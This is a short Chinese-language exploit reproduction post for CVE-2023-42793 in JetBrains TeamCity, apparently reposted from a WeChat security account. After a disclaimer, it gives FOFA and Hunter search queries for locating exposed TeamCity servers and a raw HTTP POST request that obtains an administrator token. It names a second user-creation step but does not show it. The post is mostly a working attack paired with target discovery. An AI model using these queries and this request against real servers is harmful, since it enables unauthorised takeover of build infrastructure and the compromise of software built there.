【漏洞复现】JetBrains TeamCity任意用户创建漏洞 CVE-2023-42793

• 0x01 免责声明

请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失，均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习，一切不良后果与文章作者无关。使用者应该遵守法律法规，并尊重他人的合法权益。

• 0x02 影响版本

JetBrains TeamCity

• 0x03 网络测绘

fofa:

app="JET_BRAINS-TeamCity"

hunter:

app.name="TeamCity"

• 0x04 漏洞复现

第一步获取token值

POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1Host: User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/113.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 0

第二步构造请求包创建用户

原文始发于微信公众号（Matrix SEC）：【漏洞复现】JetBrains TeamCity任意用户创建漏洞 CVE-2023-42793